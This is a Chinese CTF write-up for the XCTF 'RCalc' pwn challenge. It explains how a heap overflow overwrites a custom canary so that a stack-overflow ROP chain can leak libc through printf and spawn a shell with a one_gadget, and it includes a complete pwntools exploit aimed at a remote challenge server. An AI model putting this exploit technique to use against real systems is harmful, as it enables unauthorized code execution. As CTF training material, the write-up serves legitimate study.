XCTF-RCalc-WP

Posted on Mar 6, 2021

这是一个挺有意思的栈溢出题,很久没做过栈溢出了,居然看了很久才发现漏洞点是栈溢出..

这里很明显有栈溢出,然后下面的

result = sub_400B92();
if ( result != v2 )
sub_400BD4();

感觉像是 canary,但是 checksec 一下发现并没有开启 canary

然后看一下 sub_400AAB 这个函数

发现是一个随机数生成的函数,并存到了 *(qword_6020F0 + 8) + 8 * (*qword_6020F0 - 1)

sub_400B92 函数

则是从 *(qword_6020F0 + 8) + 8 * (*qword_6020F0) - 8 中取回,也就是之前放进去的地方。也就是说这里是出题人自己实现了一个 canary,那么我们就无法直接栈溢出了。

从这里则可以知道,qword_6020F0 + 8 指向一个堆块的头。

然后再来看计算器中保存结果的这个函数

发现他是存到一个堆块中的,并且这个堆块在存 canary 的那个堆块的前面,也就是说我们完全可以利用计算器存储结果的这个函数实现堆溢出,溢出到储存 canary 的堆块里面,把我们栈溢出的函数保留的 canary 改为一个我们控制的值,在栈溢出时就可以覆盖 canary 了,这样就可以进行 rop 了。

又由于是 %s 造成的栈溢出,所以空格和换行都不能出现在 payload 中,__libc_start_main@got 是唯一一个不含空格的 got 表项,printf@plt 不含空格,而 puts@plt 含,所以也需要使用 printf。这样 leak 出了 libc_base 之后,就可以尝试 getshell 了,一般的做法是用 system,但是不知道为什么,我用 system 无法打通,会出现这样的错误:

遂使用 one_gadget,打通

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.terminal = ["tmux","splitw","-h"]
#context.log_level = 'debug'

elf = ELF('./RCalc')
pop_rdi_ret = 0x401123
csu1 = 0x40111A 
csu2 = 0x401100

def add_once():
    sh.sendlineafter("choice:",'1')
    sh.sendlineafter("integer: ",'0')
    sh.sendline('0')
    sh.sendlineafter("result? ",'yes')

#sh = process("./RCalc")
sh = remote("111.200.241.244",37644)

payload = 'a' * 0x108 + p64(0) + p64(0)
payload += p64(0x4007fe) #ret,stack align
payload += p64(pop_rdi_ret)
payload += p64(elf.got["__libc_start_main"])
payload += p64(elf.symbols["printf"])
payload += p64(0x401094) #ret2overflow

sh.sendlineafter("pls: ",payload)
for i in range(34 + 1):
    add_once()

#gdb.attach(proc.pidof(sh)[0])
sh.sendlineafter("choice:",'5')
__libc_start_main_addr = u64(sh.recv(6) + '\x00\x00')
libcs = LibcSearcher("__libc_start_main",__libc_start_main_addr)
libc_base = __libc_start_main_addr - libcs.dump("__libc_start_main")
libc = ELF("./libc.so.6")
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
one_gadget = libc_base + 0x4526a
log.success("system_addr:" + hex(system_addr))
log.success("bin_sh_addr:" + hex(bin_sh_addr))

payload = 'a' * 0x108 + p64(0) + p64(0)
#payload += p64(pop_rdi_ret)
#payload += p64(bin_sh_addr)
#payload += p64(system_addr)
payload += p64(one_gadget)

sh.sendlineafter("pls: ",payload)
for i in range(34 + 1):
    add_once()
sh.sendlineafter("choice:",'5')

sh.interactive()